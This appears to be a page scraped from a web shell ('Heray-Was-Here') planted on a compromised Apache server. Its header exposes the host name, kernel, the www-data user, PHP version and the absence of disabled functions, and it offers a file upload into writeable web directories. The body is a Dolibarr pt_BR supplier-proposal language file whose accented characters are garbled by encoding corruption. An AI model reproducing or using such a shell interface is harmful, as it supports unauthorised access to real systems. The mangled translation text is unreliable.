Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/pt_BR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/pt_BR/supplier_proposal.lang
# Dolibarr language file - Source file is en_US - supplier_proposal
SupplierProposal=Propostas comerciais de fornecedores
supplier_proposalDESC=Gerir solicitaƧƵes de preƧo a fornecedores
SupplierProposalNew=Nova solicitaĆ§Ć£o de preƧo
CommRequest=SolicitaĆ§Ć£o de preƧo
CommRequests=SolicitaƧƵes de preƧo
SearchRequest=Procurar uma solicitaĆ§Ć£o
DraftRequests=Minutas de solicitaĆ§Ć£o
SupplierProposalsDraft=Projecto de propostas de fornecedores
LastModifiedRequests=ƚltimas %s solicitaƧƵes de preƧo modificadas
RequestsOpened=SolicitaƧƵes de preƧo em aberto
SupplierProposalArea=Ɓrea de propostas de fornecedores
SupplierProposalShort=Proposta do fornecedor
SupplierProposals=Propostas de fornecedores
SupplierProposalsShort=Propostas de fornecedores
NewAskPrice=Nova solicitaĆ§Ć£o de preƧo
ShowSupplierProposal=Mostrar solicitaĆ§Ć£o de preƧo
AddSupplierProposal=Criar uma solicitaĆ§Ć£o de preƧo
SupplierProposalRefFourn=Ref de fornecedor
SupplierProposalDate=Data de entrega
SupplierProposalRefFournNotice=Antes de fechar como "Aceita", Ć© melhor verificar as referĆŖncias dos fornecedores.
ConfirmValidateAsk=VocĆŖ tem certeza que deseja validar esta solicitaĆ§Ć£o de preƧo sob o nome de <b>%s</b>?
DeleteAsk=Excluir solicitaĆ§Ć£o
ValidateAsk=Validar solicitaĆ§Ć£o
SupplierProposalStatusDraft=Minuta (requer confirmaĆ§Ć£o)
SupplierProposalStatusValidated=Confirmada (a solicitaĆ§Ć£o estĆ” aberta)
SupplierProposalStatusClosed=Fechada
SupplierProposalStatusSigned=Aceita
SupplierProposalStatusNotSigned=Recusada
SupplierProposalStatusDraftShort=Minuta
SupplierProposalStatusClosedShort=Encerrada
SupplierProposalStatusSignedShort=Aceita
SupplierProposalStatusNotSignedShort=Recusada
CopyAskFrom=Criar solicitaĆ§Ć£o de preƧo, copiando uma solicitaĆ§Ć£o existente
CreateEmptyAsk=Criar solicitaĆ§Ć£o em branco
ConfirmCloneAsk=VocĆŖ tem certeza que deseja clonar a solicitaĆ§Ć£o de preƧo <b>%s</b>?
ConfirmReOpenAsk=VocĆŖ tem certeza que deseja abrir novamente a solicitaĆ§Ć£o de preƧo <b>%s</b>?
SendAskByMail=Enviar solicitaĆ§Ć£o de preƧo por email
SendAskRef=Enviando a solicitaĆ§Ć£o de preƧo %s
SupplierProposalCard=Ficha da solicitaĆ§Ć£o
ConfirmDeleteAsk=VocĆŖ tem certeza que deseja excluir a solicitaĆ§Ć£o de preƧo <b>%s</b>?
ActionsOnSupplierProposal=Eventos na solicitaĆ§Ć£o de preƧo
DocModelAuroreDescription=Um modelo de solicitaĆ§Ć£o completo (logo...)
CommercialAsk=SolicitaĆ§Ć£o de preƧo
DefaultModelSupplierProposalCreate=CriaĆ§Ć£o de modelo padrĆ£o
DefaultModelSupplierProposalToBill=Tema padrĆ£o quando fechando uma solicitaĆ§Ć£o de preƧo (aceita)
DefaultModelSupplierProposalClosed=Tema padrĆ£o quando fechando uma solicitaĆ§Ć£o de preƧo (recusada)
ListOfSupplierProposals=Lista de pedidos de propostas de fornecedores
ListSupplierProposalsAssociatedProject=Lista de propostas de fornecedores associadas ao projeto
SupplierProposalsToClose=Propostas de fornecedores para fechar
SupplierProposalsToProcess=Propostas de fornecedores para processar
LastSupplierProposals=ƚltimos %s preƧos solicitados
AllPriceRequests=Todas as solicitaƧƵes

Hry